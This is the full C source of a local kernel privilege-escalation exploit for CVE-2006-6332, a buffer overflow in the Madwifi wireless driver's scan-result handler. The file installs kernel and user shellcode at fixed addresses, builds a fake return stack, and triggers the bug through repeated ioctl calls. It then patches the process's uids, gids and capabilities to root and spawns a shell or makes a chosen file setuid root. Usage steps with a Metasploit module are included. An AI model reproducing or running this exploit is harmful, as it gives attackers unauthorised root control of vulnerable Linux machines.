/* Madwifi giwscan_cb buffer overflow local kernel exploit
 *
 * CVE-2006-6332
 *
 * (C) 2006 Julien TINNES and Laurent BUTTI
 *
 * Use this local exploit in conjonction with the metasploit module
 *
 * The vulnerable function is called when asking for scan result (which you can do
 *  without privileges). 
 *  However you need to wait for your card to scan for access point before this exploit can be successfull.
 *
 * The best way to test this exploit is:
 * 1. start the metasploit module on another machine
 * 2. Bring your card up. (e.g. ifconfig ath0 up)
 * 3. ./madexploit
 *
 * This will always work because the card will automatically start scanning for APs when your
 * bring it up.
 * For testing purpose you can also launch this exploit as root, It'll automatically issue a
 * scanning request.
 * There are also ways to remotely make the card start scanning for APs. Will you find them ?
 *
 * Use -s if your kernel uses 4K stacks
 * Use '-c madexploit' if you get a segfault (actually a BUG()) after a "Success" message
 *
 * This was tested on Ubuntu 6.10, Knoppix 5.0.1 (madwifi 0.9.x) and Debian testing
 *
 * TODO: release process' locks so that system remains stable (or at least hack the task_struct to get rid of the BUG()s)
 *
 * Version 0.5
 */


#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>		
#include <netinet/if_ether.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <assert.h>
#include <errno.h>
#include <stdint.h>
#include <getopt.h>

// #include "iwlib.h"
/* defs from wireless.h and iwlib.h */

#define IW_SCAN_MAX_DATA        4096
#ifndef __user
#define __user
#endif

#define NOPS 0x90909090

#define TASK_SIZE 0xC0000000

#define SIOCSIWSCAN     0x8B18          /* trigger scanning (list cells) */
#define SIOCGIWSCAN     0x8B19          /* get scanning results */

struct  iw_point
{
  void __user   *pointer;       /* Pointer to the data  (in user space) */
  __u16         length;         /* number of fields or size in bytes */
  __u16         flags;          /* Optional params */
};

union   iwreq_data
{
	struct iw_point data;           /* Other large parameters */
};

struct  iwreq
{
        union
        {
                char    ifrn_name[IFNAMSIZ];    /* if name, e.g. "eth0" */
        } ifr_ifrn;

        /* Data part (defined just above) */
        union   iwreq_data      u;
};

#define IFNAME "ath0"

/* This magic address will pass encode_ie in madwifi
 * '3' is 0x33! */
#define	KSCADDR	0x33333333

#define USCADDR 0x50000000

/* stringification */
#define xstr(s) str(s)
#define str(s) #s

#define KSTACKADDR 0x60000100

#define PGS	(4096)

/* 4046 if 4K STACK is defined */
#define THREAD_SIZE             (8192)
#define THREAD_SIZE8K		(8192)
#define THREAD_SIZE4K		(4096)

#define __syscall_return(type, res) \
do { \
	if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \
		errno = -(res); \
		res = -1; \
	} \
	return (type) (res); \
} while (0)

#define patchsc_with_addr(sc, addr) \
do { \
	*((void (**)())(sc+1))=addr;\
} while (0)

void	*installsc(void *scaddr, void *sh, unsigned int len);
void	*getsc(char *filename, uint32_t *len);

//_syscall3(int, myioctl2, int, d, int, request, struct iwreq *, toto);

// jmp -2
//static char sc[]="\xeb\xfe\xeb\xfe\xeb\xfe";
// mov [0], eax
//static char sc[]="\xA3\x00\x00\x00\x00";
// exit(42);
//static char sc[]="\x31\xC0\x40\xBB\x69\x7A\x00\x00\xCD\x80";
// mov eax, 0x01020304; jmp eax

char sc[128]="\xB8\x04\x03\x02\x01\xFF\xE0";
uid_t puid;
int noexit=0;

char	*chmodfile=NULL;
char chmodname[1024];

unsigned int stackheur=0;
char	*ifname=IFNAME;

struct task_struct;

typedef struct {
	unsigned long seg;
} mm_segment_t;

mm_segment_t addr_limit;

/* thread_info.h */
struct thread_info {
        struct task_struct      *task;          /* main task structure */
	struct exec_domain	*exec_domain;	/* execution domain */
	unsigned long		flags;		/* low level flags */
	unsigned long		status;		/* thread-synchronous flags */
	__u32			cpu;		/* current CPU */
	int			preempt_count;	/* 0 => preemptable, <0 => BUG */
	mm_segment_t		addr_limit;
	/* continued */
};

int sys_ioctl(int d, int request, struct iwreq *toto) 
{ 
	long __res; 
	__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" 
			: "=a" (__res) 
			: "0" (__NR_ioctl),"ri" ((long)(d)),"c" ((long)(request)), 
			"d" ((long)(toto)) : "memory"); 
	__syscall_return(int,__res); 
}

struct iretstack {
	uint32_t	eip;
	uint32_t	cs;
	uint32_t	eflags;
	uint32_t	esp;
	uint32_t	ss;
} __attribute__((packed));

void	build_iretstack(struct iretstack *dest, uint32_t eip) {

	dest->eip=eip;
	asm("xorl %0, %0\n"
		"mov %%cs, %0\n"
		"pushf\n"
		"pop %%esi\n"
		"movl %%esi, %1\n"
		"movl %%esp, %2\n"
		"xorl %3, %3\n"
		"mov %%ss, %3\n"
		: "=r" (dest->cs),  "=r" (dest->eflags), "=r" (dest->esp), "=r" (dest->ss)
		:
		: "esi"
	);
}

/* userland function, called after ksc_func */
void	usc_func(void) {
	int ret;

	printf("[+] Address space limit heuristic: 0x%lX\n", addr_limit.seg);

	if (getuid() == 0) {
		printf("[+] Success\n");
		if (chmodfile != NULL) {
			ret=chown(chmodfile, 0, 0);
			if (ret == -1) {
				perror("chown");
				exit(1);
			} else
				ret=chmod(chmodfile, 04755);
			if (ret == -1) {
				perror("chmod");
				exit(1);
			}

			if (noexit) {
				printf("[+] Sleeping forever\n");
				while(1) 
					sleep(10);
			} else
				/* we may BUG() here... */
				exit(0);
		} else 
			execlp("/bin/sh", "sh", NULL);
	} else {
		printf("[-] Failure\n");
		exit(42);
	}
}

static inline struct thread_info *current_thread_info(__u32 tsize) {
        struct thread_info *ti;
        //__asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(THREAD_SIZE - 1)));
        __asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(tsize - 1)));
        return ti;
}

/* Our kernel mode function */
void	ksc_func(void) {
	uid_t *tsk;
	
	/* Lame heuristic to try and detect 4K stacks */
	if (stackheur) {
		addr_limit.seg=current_thread_info(THREAD_SIZE4K)->addr_limit.seg;
		if (addr_limit.seg == TASK_SIZE)
			tsk=(uid_t *) (current_thread_info(THREAD_SIZE4K)->task);
		else
			tsk=(uid_t *) (current_thread_info(THREAD_SIZE8K)->task);
	} else {
		addr_limit.seg=current_thread_info(THREAD_SIZE8K)->addr_limit.seg;
		tsk=(uid_t *) (current_thread_info(THREAD_SIZE8K)->task);
	}

	/* look for uid,euid,suid,fsuid */
	while( (tsk[0] != puid) || (tsk [1] != puid) || (tsk [2] != puid) || (tsk [3] != puid) ) 
		tsk++;

	/* patch uids and gids */
	//tsk[0]=tsk[1]=tsk[2]=tsk[3]=0;
	memset(tsk, 0, 8*sizeof(uid_t));

	/* patch capabilities */
	tsk+=9;
	memset(tsk, 0xFFFFFFFF , 3*sizeof(uid_t));
	
	asm(".intel_syntax noprefix\n"
		"sti\n"
		"mov  esp, " xstr(KSTACKADDR) "\n"
		"iret\n"
	".att_syntax noprefix\n");
}

int	main(int argc, char **argv) {

	int	skfd, counter=0;
	struct iwreq	wrq;
        unsigned char *buffer = NULL;		/* Results */
	int	buflen = IW_SCAN_MAX_DATA; /* Min for compat WE<17 */

	printf("Madwifi SIOCGIWSCAN ioctl local exploit\n\n"
		"(C) 2006 Julien TINNES and Laurent BUTTI\n\n");

	/* support -c on self */
	if (( geteuid() == 0) && (getuid() !=0)) {
		setuid(0);
		setgid(0);
		execlp("/bin/sh", "sh", NULL);
	}

	for (;;) {
		int option_index = 0, c;
		static struct option long_options[] =
		{
			{"stackheur", 0, 0, 's'},
			{"help", 0, 0, 'h'},
			{"interface", 1, 0, 'i'},
			{"chown/chmod", 1, 0, 'c'},
			{"noexit", 1, 0, 'n'},
			{0,0,0,0}
		};

		c = getopt_long (argc, argv, "nc:shi:", long_options, &option_index);

		if (c == -1)
			break;
		
		switch (c)
		{
			case 0:
				printf("This case should'nt happen\n");
				break;

			case 's':
				printf("[+] Using stack heuristic \n");
				stackheur=1;
				break;
			case 'i':
				ifname=optarg;
				break;
			case 'c':
				if ( (strlen(optarg)+1) > sizeof(chmodname))
					exit(1);
				/* We better not rely on the stack */
				strcpy(chmodname, optarg);
				chmodfile=chmodname;
				printf("[+] chmod/chown %s if success\n", chmodfile);
				break;
			case 'n':
				noexit=1;
				break;
			case 'h':
			case '?':
			default:
				printf("Usage %s [options]\n\n"
						"Options:\n"
						"-s\t Use heuristic to determine kernel stack size\n"
						"-i <iface>\t Use interface 'iface'\n"
						"-c <file>\t Make 'file' suid root\n"
						"-n\tdo not exit after chown/chmod\n"
						, argv[0]);
				exit(1);
		}
	}



	puid=getuid();
	
	printf("[+] Using interface %s\n", ifname);

	/* install kernel shellcode */
	//scmap=getsc("ksc", &sclen);
	patchsc_with_addr(sc, ksc_func);

	//if (installsc((void *) KSCADDR, scmap, sclen) == MAP_FAILED) {
	if (installsc((void *) KSCADDR, sc, sizeof(sc)) == MAP_FAILED) {
		perror("installksc");
		exit(1);
	}

	printf("[+] Kernel shellcode installed at 0x%X\n", KSCADDR);

	/* install user shellcode */
	//scmap=getsc("usc", &sclen);
	patchsc_with_addr(sc, usc_func);

	//if (installsc((void *) USCADDR, scmap, sclen) == MAP_FAILED) {
	if (installsc((void *) USCADDR, sc, sizeof(sc)) == MAP_FAILED) {
		perror("installusc");
		exit(1);
	}

	printf("[+] User shellcode installed at 0x%X\n", USCADDR);

	/* allocate space for kernel stack */
	if (installsc((void *) KSTACKADDR, "", 0) == MAP_FAILED) {
		perror("installkstack");
		exit(1);
	}

	/* This is a lame workaround to prevent giwscan_cb from crashing
 	 * before returning. We create two pages so that structure pointers
 	 * can be recursively dereferenced.
	 * A proper exploit should not do that :) */

	/* allocate self-dereferencable page */
	if (installsc((void *) NOPS, "", 0) == MAP_FAILED) {
		perror("self-deref-page");
		exit(1);
	}

	if (installsc((void *) 0, "", 0) == MAP_FAILED) {
		perror("self-deref-page");
		exit(1);
	}
	bzero(NULL,  PGS);

	assert((KSTACKADDR & 0xFFF) > sizeof(struct iretstack));
	build_iretstack( (struct iretstack *) KSTACKADDR, USCADDR);

	printf("[+] Fake stack installed at 0x%X (CS: 0x%X, EFLAGS: 0x%X, ESP: 0x%X, SS: 0x%X, EIP: 0x%X)\n", KSTACKADDR, ((struct iretstack *) KSTACKADDR)->cs, ((struct iretstack *) KSTACKADDR)->eflags, ((struct iretstack *) KSTACKADDR)->esp, ((struct iretstack *) KSTACKADDR)->ss, ((struct iretstack *) KSTACKADDR)->eip);

	/* trigger vulnerable function */
	buffer = malloc(buflen);
	if (!buffer) {
		perror("malloc");
		exit(1);
	}

	/* Initialize wrq */
	wrq.u.data.pointer = NULL;
	wrq.u.data.flags = 0;
	wrq.u.data.length = 0;

	strncpy(wrq.ifr_name, ifname, IFNAMSIZ);

	if ((skfd= socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
		perror("socket");
		exit(1);
	}

	if(ioctl(skfd, SIOCSIWSCAN, &wrq) == -1) {
		perror("[-] ioctl SIOCSIWSCAN");
		printf("    -> This is not fatal (you can wait or ifdown/up your wifi interface to speedup the process)\n");
	} else {
		printf("[+] Launching new scan with ioctl SIOCSIWSCAN\n");
	}

	/* Initialize wrq */
	wrq.u.data.pointer = buffer;
	wrq.u.data.flags = 0;
	wrq.u.data.length = buflen;

	while (1) {
		printf("[.] Trying to trigger bug in giwscan_cb (%d) (you must run the metasploit module)\n", counter++);
		if (sys_ioctl(skfd, SIOCGIWSCAN, &wrq) == -1) {
		//if (ioctl(skfd, SIOCGIWSCAN, &wrq) == -1) {
			perror("[-] ioctl SIOCGIWSCAN");
			exit(1);
		}
		sleep(1);
	}
	return 0;
}

/* allocate memory and install shellcode at address scaddr (pads with nops so that shellcode is page-aligned) */
void	*installsc(void *scaddr, void *sh, unsigned int len) {
	void	*scpt;

	assert(getpagesize() == PGS);

	/* allocate one extra page which will be filled by nops */
	scpt=mmap((void *)((uint32_t) scaddr & ~(PGS-1)), PGS + len, PROT_WRITE | PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_LOCKED | MAP_POPULATE, 0, 0);	
	
	if (scpt == MAP_FAILED) {
		perror("mmap");
		return scpt;
	}

	/* fill first page with nops */
	memset(scpt, NOPS, PGS);
	/* and copy shellcode */
	memcpy(scpt+PGS, sh, len);
	return scpt;
}

/* map shellcode found in filename in memory, return its address */
void	*getsc(char *filename, uint32_t *len) {
	int	scfd;
	void	*scmap;
	struct	stat scstat;

	scfd=stat(filename, &scstat);
	if (scfd == -1) {
		perror("stat");
		exit(1);
	}

	*len=scstat.st_size;

	scfd=open(filename, O_RDONLY);

	if (scfd == -1) {
		perror("open");
		exit(1);
	}

	scmap=mmap(0, *len, PROT_READ, MAP_SHARED, scfd, 0);

	if (scmap == MAP_FAILED) {
		perror("mmap");
		exit(1);
	}

	return scmap;	
}
